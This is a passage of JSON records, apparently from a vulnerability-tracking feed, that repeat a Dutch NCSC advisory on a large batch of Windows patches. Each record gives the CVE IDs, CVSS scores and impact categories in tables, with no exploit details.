5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "5c557427-112c-4afc-b86f-693e891c5fca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48583", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "7cb23f4b-8035-4480-a32a-2519bf1ff04c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48568", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: 